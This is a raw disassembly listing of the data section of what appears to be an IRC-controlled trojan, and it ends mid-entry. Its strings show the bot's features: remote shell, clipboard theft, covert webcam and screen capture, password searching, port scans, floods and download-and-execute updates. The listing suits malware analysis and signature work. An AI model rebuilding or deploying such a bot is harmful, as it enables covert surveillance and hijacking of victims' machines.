2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 10h dword_42FC40 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_42FC68 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42FCB0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_42FCDC dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_42FCE0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_42FD08 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42FD50 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_42FD78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_42FDA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_42FDC8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_42FDF0 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 10h dword_42FE40 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 4 unk_42FE78 db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 4 unk_42FEAC db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_42FEDC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_42FF04 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_42FF34 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_42FF6C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_42FFA4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_42FFE4 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 10h dword_430020 dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h ; DATA XREF: sub_40EE72+56EDo dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h, 65686361h dd 756C6620h, 64656873h dword_430050 dd 2Eh ; DATA XREF: ___:00427B70o dword_430054 dd 7A026E02h, 201F6D1Fh ; DATA XREF: sub_40EE72:loc_41454Fo unk_43005C db 28h ; ( ; DATA XREF: ___:off_427A0Co db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h unk_430090 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_4300CC db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 10h dword_430100 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 4 dword_43014C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_430198 db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_4301E0 db 2 ; DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_430228 db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_430254 db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_4302A0 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_4302D8 db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 4 unk_43031C db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_430394 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_4303C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_4303F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_430428 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_430450 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_43048C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 10h dword_4304C0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_4304F8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o ; sub_40EE72:loc_414B4Co align 4 dword_430544 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C68o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_430578 db 3 ; DATA XREF: sub_40EE72:loc_413AC5o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 4 unk_4305BC db 3 ; DATA XREF: sub_40EE72+4C49o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_4305F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C29o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_43062C dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A4Fo dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_430664 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB2o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_430690 db 2 ; DATA XREF: sub_40EE72:loc_4139F0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_4306D0 db 2 ; DATA XREF: sub_40EE72+4B74o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_430704 db 2 ; DATA XREF: sub_40EE72:loc_413990o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_430748 db 2 ; DATA XREF: sub_40EE72+4B17o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 10h dword_430780 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD2o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_4307AC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Do dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 10h dword_4307E0 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D2o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_430804 db 2 ; DATA XREF: sub_40EE72+49B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_430850 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4945o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_430878 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413745o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4308A4 db 2 ; DATA XREF: sub_40EE72+48C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_4308D0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4898o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_4308F8 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Do dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_430934 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Do dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_430964 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4839o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_430998 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413639o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_4309E4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41362Fo dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_430A34 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B3o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A0o align 4 dword_430A78 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Do dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 10h dword_430AC0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413586o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_430B04 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4704o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 10h aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FAo align 4 dword_430B48 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Bo dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_430B7C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4645o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413463o dword_430BB8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413450o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_430C00 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413449o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_430C3C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C7o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413400o align 10h dword_430C80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4576o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_430CA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4532o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_430CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4516o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_430D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4496o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_430D48 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+445Fo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_430D74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4411o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_430DA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_430DC4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o ; sub_40EE72+4E78o dword_430DD0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+433Fo dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+432Eo align 4 dword_430E08 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4305o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_430E34 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4297o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_430E60 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+423Fo dword_430E68 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4212o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_430E94 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41B9o ; sub_40EE72+4CADo dword_430E9C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao dword_430EA8 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4130o dword_430EB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F8Fo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_430EF4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E6o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4092o align 4 dword_430F24 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBCo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_430F48 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Ao ; sub_40EE72+40BDo ... unk_430F58 db 2 ; DATA XREF: sub_40EE72:loc_412E29o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_430FAC db 2 ; DATA XREF: sub_40EE72+3FADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_430FF8 db 2 ; DATA XREF: sub_40EE72+3F3Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E95o align 10h dword_431040 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E33o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_431068 db 2 ; DATA XREF: sub_40EE72+3E28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_43109C db 2 ; DATA XREF: sub_40EE72+3DA0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_4310E8 db 2 ; DATA XREF: sub_40EE72+3D26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_431128 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AF9o ; sub_40EE72:loc_413962o dd 0BBBB0220h, 2002h unk_431144 db 2 ; DATA XREF: sub_40EE72+3C6Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_431178 db 2 ; DATA XREF: sub_40EE72:loc_412ABFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_4311C0 db 2 ; DATA XREF: sub_40EE72+3C43o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h 